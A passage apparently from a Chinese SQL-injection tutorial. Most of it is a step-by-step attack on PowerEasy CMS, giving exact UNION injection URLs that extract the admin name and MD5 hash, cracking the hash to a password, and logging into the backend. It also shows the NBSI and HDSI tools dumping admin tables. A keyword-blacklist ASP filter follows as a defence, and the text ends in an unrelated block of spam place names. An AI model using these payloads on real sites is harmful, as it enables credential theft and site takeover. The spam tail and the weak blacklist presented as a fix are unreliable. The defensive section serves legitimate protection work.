SQL語法

UNION聯合語句:合并多條語句查詢的結果,如:

SELECT*FROM A UNION SELECT*FROM B

這條語句的作用是查詢表A中和表B中的所有數據并合并在一起。假如查詢結果的數據是李四,則用UNION把兩條查詢的結果合并,結果是張三和李四兩項數據。

這個漏洞的特點是把查詢結果顯示在下拉列表框中,這樣通過精心構造的SQL語句可能讓頁面直接在下拉列表框中顯示管理員的賬號和密碼。

首先嘗試提交Province參數并且在數據后面加單引號讓頁面出錯,提交:

http://127.0.0.1/powereasy/Region.asp? province=a'

出錯的頁面,如圖1-28所示。

圖1-28 出錯的頁面

說明提交的單引號被放到SQL語句中。把數據代入到代碼中形成如下SQL語句:

SELECT DISTINCT City FROM PE City WHERE Province=‘a’’

能控制的部分是“a’”。如果要正確顯示頁面,必須刪除后面的單引號,即:

SELECT DISTINCT City FROM PE City WHERE Province=‘a’  and‘a’=‘a’

可以在數據中插入一個查詢語句來查詢密碼,為此要用UNION語句。

首先查看動易的數據庫結構,管理員的用戶名和密碼放在數據庫的 PE_Admin 表中, AdminName是用戶名字段,Password是管理員密碼字段。要查詢管理員用戶名的SQL語句如下:

Select AdminName From PE Admin

用UNION語句將其整合到原來的語句中,即:

SELECT DISTINCT City FROM PE City WHERE Province=‘a’  Union Select AdminName From PE_Admin Where‘a’=‘a’

加黑部分是要提交的數據,根據其構造的URL為:

http://127.0.0.1/powereasy/Region.asp?province=a' Union Select AdminName From PE Admin where 'a'='a

提交這個地址,可以在“市/縣/區/旗”的下拉列表框中看到用戶名,如圖1-29所示。

圖1-29 用戶名

其中顯示的管理員的用戶名是“admin”。如果要查看管理員密碼,只要把字段名改為密碼字段名。構造的URL 地址是http://127.0.0.1/powereasy/Region.asp?province=a' Union Select Password From PE_Admin where 'a'='a。如圖1-30所示,可以看到密碼是469e80d32c0559f8。

圖1-30 管理員密碼

這是加密過的密碼,在管理員登錄時頁面加密用戶提交的密碼后與數據庫中的密碼比較。

動易使用的是 MD5加密方式,所以應該用一個 MD5解密器來解密。這里推薦使用MD5 Crack,它是一款國產的多線程MD5解密器,解密速度很快。

打開如圖1-31所示的MD5 Crack對話框,粘貼“469e80d32c0559f8”“破解單個密文”到文本框中,在“字符設置”選項組中選擇可能用到的字符,也可以在“自定義”文本框中定義。因為一般情況下,用戶密碼不會有標點符號或特殊符號,所以為了節省時間,只選擇“數字”、“大寫字母”和“小寫字母”復選框,還可以設置密碼可能的長度和破解密碼的線程數,線程數越大,破解速度越快。如果超出機器的承受能力,多線程反而會拖慢破解速度。

圖1-31 MD5 Crack對話框

單擊“開始”按鈕,經過一段時間的等待后,破解的密碼顯示在右下角的文本框中,即admin888。嘗試使用這個密碼登錄后臺,如圖1-32所示。

圖1-32 登錄后臺

登錄成功,說明破解密碼成功,如圖1-33所示。

圖1-33 登錄成功

至此,已經獲得超級管理員的權限。入侵者可以刪除網站的數據,也可以在網站發布任何信息,包括誘使網站的瀏覽者進入插入了木馬的網頁,其危害非常大。

1.1.8 常見的SQL注入漏洞檢測工具

本節介紹一些常見的注入工具,利用它們可以減少猜解數據所花的時間和精力。

(1)NBSI

NBSI是NB聯盟的小竹編寫的一款SQL自動注入工具,其功能非常強大。可以掃描注入點、自動猜解數據內容、分析IIS日志,并自定義關鍵字字典。其界面如圖1-34所示。

圖1-34 NBSI界面

把漏洞地址http://127.0.0.1/veryzone/announce.asp? id=16輸入到 “注入地址”下拉列表框中,然后單擊“檢測”按鈕。沒有檢測到漏洞,“檢測”按鈕的標題變為“再檢測”。這是因為漏洞頁面在附加條件不成立時沒有內容,所以 NBSI 不能自動判斷結果。在“特征字符”文本框中輸入在條件成立時的頁面中,條件不成立時沒有的字符串,程序可以通過返回的頁面有無“特征字符”來判斷檢測結果,如圖1-35所示。

圖1-35 檢測結果

如圖1-36所示,在“特征字符”文本框中輸入hero字符串,單擊“再檢測”按鈕。

圖1-36 特征字符

程序已經確定網頁存在漏洞,這時“檢測”按鈕不可用,下面的“猜解表名”按鈕變為可用。

如圖1-37所示,單擊“猜解表名”按鈕,會提示“數據庫類型為ACCESS,系統將啟用字典進行猜解。如果字典文件比較大,會花費較長的時間,您確認進行猜解?”。

圖1-37 NBSI提示信息

單擊“確定”按鈕,就會看到如圖1-38所示的結果。

圖1-38 結果

稍候,在“已猜解表名”列表框中顯示 Y_admin,這是程序判斷的數據庫中有 admin表。單擊該表名,“猜解列名”按鈕變為可用。單擊該按鈕,程序會猜解admin表中的列名,如圖1-39所示。

圖1-39 猜解admin表中的列名

稍后,“已猜解列名”列表框中顯示Y_id、Y_username和Y_password,說明admin表中有id、username和password這3個字段存在。

選擇字段名復選框,“猜解數據”按鈕變為可用。單擊“猜解數據”按鈕,程序開始猜解這3個字段的數據內容,如圖1-40所示。

圖1-40 猜解字段的數據內容

稍后,在“已猜解記錄”列表框中顯示一條記錄,單擊它會在下面的列表框中顯示詳細的數據內容:

[id]:8 [username]:admin [password]:7a57a5a743894a0e

用戶名是admin,密碼是7a57a5a743894a0e破解該密碼的結果是admin。

(2)HDSI

HDSI 是教主(網絡 ID)開發的一款免費的網頁安全性能檢測工具,其中集成多種功能,是一個SQL注入利器。

該工具可以自動掃描注入點、注入猜解數據內容、掃描網站后臺登錄地址,以及對PHP進行注入。如果漏洞頁面使用SQL Server數據庫,還可以讓服務器執行DOS命令并上傳asp木馬文件。其界面如圖1-41所示。

圖1-41 HDSI界面

進入“注入分析”頁面,在“注入地址”文本框中輸入漏洞地址http://127.0.0.1/veryzone/announce.asp?id=16選擇“使用關鍵字”復選框,在“關鍵字”文本框中輸入“hero”。單擊“開始”按鈕,就開始檢測漏洞。

程序提示檢測完畢,如圖1-42所示。單擊表名下方的“猜解”按鈕,程序提示“啟動ACCESS數據庫猜解,也許要多花點時間,是否繼續猜表?”。單擊“確定”按鈕,程序開始猜解表名。

圖1-42 猜解ACCESS數據庫

稍候,“已猜解表名”列表框中顯示admin表。單擊表名,然后單擊列名下的“猜解”按鈕開始猜解列名。然后猜解數據庫中的記錄,如圖1-43所示。

圖1-43 猜解數據庫中的記錄

類似的工具還有阿D注入工具、CSC、WED及Domain。Domain是一個旁注工具,旁注是注入技術中的一個分支。其入侵的基本思路是網站的服務器一般會有多個網站,如果在目標網站上找不到注入漏洞,可以嘗試入侵同一臺服務器中的其他網站。如果通過其他網站中的漏洞控制服務器,相當于得到了這個網站的控制權。

1.1.9 如何防御SQL注入攻擊

對于一個網站來說,SQL注入漏洞的危害是巨大的。

SQL 通用防注入系統的思路是把提交到頁面的所有數據都過濾一遍, SQL 注入提交的數據的特征是會有 SQL 語句及一些 SQL 語言的關鍵字,比如“AND”、“UNION”及“SELECT”等字符串。只要在數據中有這些字符串,即可判定為SQL注入行為,而不會把這個數據作為SQL語句。

以下是筆者根據這個思路模仿SQL通用防注入系統編寫的代碼:

<%
'--------定義部分------------------
Dim FangZhuPost,FangZhuGet,FangZhuIn,FangZhuInf,FangZhuXh
'注釋:自定義需要過濾的字串,用 "|" 分隔,如果讀者發現遺漏,可以加上
FangZhuIn                                                                                =
"'|;|and|(|)|exec|insert|select|union|delete|update|count|*|%|chr|mid|master|truncate|char|declare"
FangZhuInf=split(FangZhuIn,"|")    ’注釋:把非法字符串用“|”分割出來
'--------POST部分------------------
If Request.Form<>"" Then
  For Each FangZhuPost In Request.Form     ’注釋:循環取得提交的參數
    For FangZhuXh=0 To Ubound(FangZhuInf)    ’注釋:全部轉換成大寫
      If Instr(LCase(Request.Form(FangZhuPost)),FangZhuInf(FangZhuXh))<>0 Then
      ’注釋:如果在數據中有非法字符串
Response.Write "<Script Language=JavaScript>alert('請不要在參數中包含非法字符嘗試注入!');</Script>"
Response.End
      End If
    Next
  Next
End If
'----------------------------------
'--------GET部分-------------------
If Request.QueryString<>"" Then
  For Each FangZhuGet In Request.QueryString
    For FangZhuXh=0 To Ubound(FangZhuInf)
      If Instr(LCase(Request.QueryString(FangZhuGet)),FangZhuInf(FangZhuXh))<>0 Then
Response.Write "<Script Language=JavaScript>alert('請不要在參數中包含非法字符嘗試注入!');</Script>"
Response.End
      End If
    Next
  Next
End If
%>

把這些代碼保存在一個ASP文件中,比如fang.asp,并放在要防護的頁面文件目錄下。在要防護的頁面開頭加入一句<!-- #include file=“fang.asp” -->,保存并退出。

在瀏覽器中提交http://127.0.0.1/veryzone/announce.asp? id=16 and 1=1,顯示如圖1-44所示的提示框。

圖1-44 提示框

如果參數中沒有非法字符,頁面可以正常顯示,如圖1-45所示。

圖1-45 頁面正常顯示

這樣可以杜絕SQL注入漏洞,不過這不是萬全之策。因為這個代碼是“通殺”的。即用戶確實需要輸入的一些數據會被作為非法字符串處理,這種情況目前還沒有更好的辦法來解決,只能讓用戶輸入其他字符串來代替。

主站蜘蛛池模板: 平邑县| 德兴市| 烟台市| 靖西县| 监利县| 孟村| 临沭县| 文昌市| 八宿县| 梨树县| 汝州市| 盐源县| 宁蒗| 定兴县| 大埔县| 时尚| 阿拉善左旗| 沙坪坝区| 沛县| 镇平县| 禹城市| 凌海市| 汽车| 盐池县| 香港| 临桂县| 肃南| 襄汾县| 阜平县| 洛南县| 米泉市| 云龙县| 河池市| 邹城市| 兰西县| 安国市| 射洪县| 龙山县| 哈尔滨市| 顺平县| 黎川县|